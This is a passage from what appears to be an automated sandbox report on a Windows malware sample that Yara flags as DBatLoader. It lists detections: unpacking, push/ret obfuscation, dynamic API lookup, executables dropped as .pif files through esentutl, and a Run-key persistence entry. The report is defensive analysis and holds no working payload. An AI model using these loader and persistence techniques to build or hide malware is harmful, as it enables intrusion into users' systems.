0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: cmd.pdbUGP source: esentutl.exe, 0000000B.00000003.1343597918.0000000005650000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 00000010.00000002.1408812461.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000012.00000000.1420522255.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000013.00000002.1534376052.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001B.00000002.1582953816.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001C.00000002.1619637523.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001D.00000002.1624785769.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif.11.dr
Source: Binary string: ping.pdbGCTL source: esentutl.exe, 0000000F.00000003.1355379307.0000000005960000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, 00000014.00000002.1533195513.0000000000381000.00000020.00000001.01000000.0000000B.sdmp, xpha.pif.15.dr
Source: Binary string: easinvoker.pdbH source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdbGCTL source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1347686581.00000000217CE000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1347686581.000000002179D000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1355304078.0000000002326000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1252312705.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000001160000.00000040.00000400.00020000.00000000.sdmp
Source: Binary string: cmd.pdb source: alpha.pif, alpha.pif, 00000013.00000002.1534376052.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001B.00000002.1582953816.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001C.00000002.1619637523.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001D.00000002.1624785769.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif.11.dr
Source: Binary string: ping.pdb source: esentutl.exe, 0000000F.00000003.1355379307.0000000005960000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, xpha.pif, 00000014.00000002.1533195513.0000000000381000.00000020.00000001.01000000.0000000B.sdmp, xpha.pif.15.dr

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\Public\Libraries\yihfsboC.pif Unpacked PE file: 14.2.yihfsboC.pif.400000.5.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\yihfsboC.pif Unpacked PE file: 23.2.yihfsboC.pif.400000.1.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\yihfsboC.pif Unpacked PE file: 26.2.yihfsboC.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Detected unpacking (overwrites its own PE header)
Source: C:\Users\Public\Libraries\yihfsboC.pif Unpacked PE file: 14.2.yihfsboC.pif.400000.5.unpack
Source: C:\Users\Public\Libraries\yihfsboC.pif Unpacked PE file: 23.2.yihfsboC.pif.400000.1.unpack
Source: C:\Users\Public\Libraries\yihfsboC.pif Unpacked PE file: 26.2.yihfsboC.pif.400000.0.unpack
Yara detected DBatLoader
Source: Yara match File source: 0.2.EPTMAcgvNZ.exe.2b10000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.EPTMAcgvNZ.exe.23265a8.1.unpack, type: UNPACKEDPE
.NET source code contains method to dynamically call methods (often used by packers)
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, WP6RZJql8gZrNhVA9v.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, WP6RZJql8gZrNhVA9v.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, WP6RZJql8gZrNhVA9v.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, WP6RZJql8gZrNhVA9v.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Binary contains a suspicious time stamp
Source: yihfsboC.pif.0.dr Static PE information: 0x9E9038DB [Sun Apr 19 22:51:07 2054 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2894C LoadLibraryW,GetProcAddress,FreeLibrary, 0_2_02B2894C
PE file contains sections with non-standard names
Source: alpha.pif.11.dr Static PE information: section name: .didat
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B3D2FC push 02B3D367h; ret 0_2_02B3D35F
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B163B0 push 02B1640Bh; ret 0_2_02B16403
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B163AE push 02B1640Bh; ret 0_2_02B16403
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B1332C push eax; ret 0_2_02B13368
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B3C378 push 02B3C56Eh; ret 0_2_02B3C566
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B1C349 push 8B02B1C1h; ret 0_2_02B1C34E
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B3D0AC push 02B3D125h; ret 0_2_02B3D11D
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2306B push 02B230B9h; ret 0_2_02B230B1
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2306C push 02B230B9h; ret 0_2_02B230B1
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B3D1F8 push 02B3D288h; ret 0_2_02B3D280
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2F108 push ecx; mov dword ptr [esp], edx 0_2_02B2F10D
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B3D144 push 02B3D1ECh; ret 0_2_02B3D1E4
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B16782 push 02B167C6h; ret 0_2_02B167BE
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B16784 push 02B167C6h; ret 0_2_02B167BE
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B1D5A0 push 02B1D5CCh; ret 0_2_02B1D5C4
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B3C570 push 02B3C56Eh; ret 0_2_02B3C566
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B1C56C push ecx; mov dword ptr [esp], edx 0_2_02B1C571
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2AAE0 push 02B2AB18h; ret 0_2_02B2AB10
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B28AD8 push 02B28B10h; ret 0_2_02B28B08
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2AADF push 02B2AB18h; ret 0_2_02B2AB10
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B84A50 push eax; ret 0_2_02B84B20
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B1CBEC push 02B1CD72h; ret 0_2_02B1CD6A
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2886C push 02B288AEh; ret 0_2_02B288A6
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B1C98E push 02B1CD72h; ret 0_2_02B1CD6A
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2790C push 02B27989h; ret 0_2_02B27981
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B26946 push 02B269F3h; ret 0_2_02B269EB
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B26948 push 02B269F3h; ret 0_2_02B269EB
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B25E7C push ecx; mov dword ptr [esp], edx 0_2_02B25E7E
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B22F60 push 02B22FD6h; ret 0_2_02B22FCE
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_0041C40C push cs; iretd 14_2_0041C4E2
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00423149 push eax; ret 14_2_00423179
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, WP6RZJql8gZrNhVA9v.cs High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, WP6RZJql8gZrNhVA9v.cs High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, WP6RZJql8gZrNhVA9v.cs High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, WP6RZJql8gZrNhVA9v.cs High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'

Persistence and Installation Behavior
barindex
Drops PE files with a suspicious file extension
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe File created: C:\Users\Public\Libraries\yihfsboC.pif Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe File created: C:\Users\Public\alpha.pif Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe File created: C:\Users\Public\Libraries\Cobsfhiy.PIF Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe File created: C:\Users\Public\xpha.pif Jump to dropped file
Drops PE files
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe File created: C:\Users\Public\Libraries\yihfsboC.pif Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe File created: C:\Users\Public\alpha.pif Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe File created: C:\Users\Public\Libraries\Cobsfhiy.PIF Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe File created: C:\Users\Public\xpha.pif Jump to dropped file
Drops PE files to the user directory
Source: C:\Windows\SysWOW64\esentutl.exe File created: C:\Users\Public\alpha.pif Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe File created: C:\Users\Public\xpha.pif Jump to dropped file

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Windows\SysWOW64\esentutl.exe File created: C:\Users\Public\alpha.pif Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe File created: C:\Users\Public\xpha.pif Jump to dropped file
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cobsfhiy Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cobsfhiy Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2AB1C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_02B2AB1C
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
